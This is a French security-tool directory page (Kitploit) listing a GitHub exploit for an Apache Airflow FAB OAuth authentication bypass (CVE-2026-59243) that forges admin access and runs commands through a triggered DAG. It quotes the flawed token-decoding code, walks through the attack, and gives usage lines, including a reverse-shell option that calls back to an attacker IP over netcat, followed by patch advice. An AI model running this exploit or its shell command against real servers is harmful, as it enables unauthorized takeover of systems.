Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-59243_exploit — Exploit pour le contournement de l'authentification OAuth FAB d'Apache Airflow (CVE-2026-59243) qui permet d'obtenir un accès administrateur et une exécution de code à distance en déclenchant un DAG spécialement conçu via l'API REST. | Kitploit
Outils/GitHubGitHub/0xdak/cve-2026-59243_exploit
Authentification et AutorisationExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingSécurité des API
GitHub0xdak/cve-2026-59243_exploit

CVE-2026-59243_exploit

Exploit pour le contournement de l'authentification OAuth FAB d'Apache Airflow (CVE-2026-59243) qui permet d'obtenir un accès administrateur et une exécution de code à distance en déclenchant un DAG spécialement conçu via l'API REST.

Voir le dépôt
il y a 16 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-59243 — Contournement de l’authentification OAuth du fournisseur FAB d’Apache Airflow → RCE via DAG

Contournement de l’authentification dans le fournisseur FAB auth-manager d’Apache Airflow (apache-airflow-providers-fab), menant à une exécution de code à distance via un DAG déclenché.

Le fournisseur décode l’id_token Azure OAuth avec la vérification de signature désactivée par défaut (airflow/providers/fab/auth_manager/security_manager/override.py, _decode_and_validate_azure_jwt) :

root@kitploit:~
verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
    ...                                            # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload))   # raw payload, NO signature check

Les claims sont directement mappés à l’identité — oid → nom d’utilisateur, roles → role_keys — et AUTH_ROLES_MAPPING transforme une claim roles=["Azure-Admins"] en rôle Admin. Comme la signature, l’émetteur et l’audience du jeton ne sont jamais vérifiés (CWE-347), un attaquant qui mène à terme le flux OAuth s’authentifie en tant qu’Admin sans aucune information d’identification réelle. Un Admin peut ensuite déclencher un DAG qui exécute des commandes arbitraires.

  • Affecté : apache-airflow-providers-fab < 3.7.3 (avec apache-airflow >= 3.0.2)
  • Corrigé : 3.7.3 (valeur par défaut inversée vers verify_signature=True ; jeton validé contre les JWKS de Microsoft)
  • CWE : 347 (vérification incorrecte de la signature cryptographique)
  • Port par défaut : 8080 (interface Airflow + API REST)
  • Impact : accès Admin non authentifié → RCE via une tâche DAG (sous l’utilisateur du worker Airflow)

Prérequis

Uniquement la bibliothèque standard de Python 3. La cible doit avoir le gestionnaire d’authentification FAB avec le fournisseur OAuth Azure vulnérable configuré, et (pour l’étape RCE) un DAG dont la tâche exécute le dag_run.conf contrôlé par l’attaquant.

Utilisation

root@kitploit:~
python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444   # nc -lvnp 4444 first

Fonctionnement

  1. Contournement de l’authentification — piloter le flux OAuth (GET /auth/login/azure → IdP → /auth/oauth-authorized/azure) avec un cookie jar. FAB accepte l’id_token non signé/forgé et connecte l’utilisateur en tant qu’Admin, en définissant un cookie session et un cookie _token (le JWT attendu par l’API REST).
  2. RCE — POST /api/v2/dags/<dag>/dagRuns (Bearer _token) avec {"conf":{"cmd":"..."}} déclenche un DAG dont le BashOperator exécute dag_run.conf['cmd']. Utiliser un logical_date unique par exécution (la paire (dag_id, logical_date) est unique dans la base de métadonnées).

L’outil réécrit également l’hôte de bouclage dans la redirection authorize d’OAuth vers la cible, afin de fonctionner contre une cible distante dont l’IdP est annoncé comme 127.0.0.1 dans la configuration du serveur.

Remarque

Cet exploit exploite la faille de vérification du jeton. Atteindre Admin nécessite que le flux OAuth produise un jeton avec une claim roles élevée — trivial là où l’IdP/le jeton peut être influencé, car Airflow ne vérifie jamais la signature. L’étape RCE suppose un DAG qui exécute dag_run.conf (un modèle courant) ; sinon, l’accès Admin peut être exploité via d’autres fonctionnalités d’Airflow.

Correctif

Mettez à niveau apache-airflow-providers-fab vers ≥ 3.7.3 ; ne mappez jamais directement les claims de rôles OAuth assertées en externe vers Admin ; n’exécutez pas Airflow en tant que root ; maintenez l’interface et l’API hors des réseaux non fiables.

Avertissement

Pour des tests de sécurité autorisés et à des fins pédagogiques uniquement. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.

Télécharger l’outil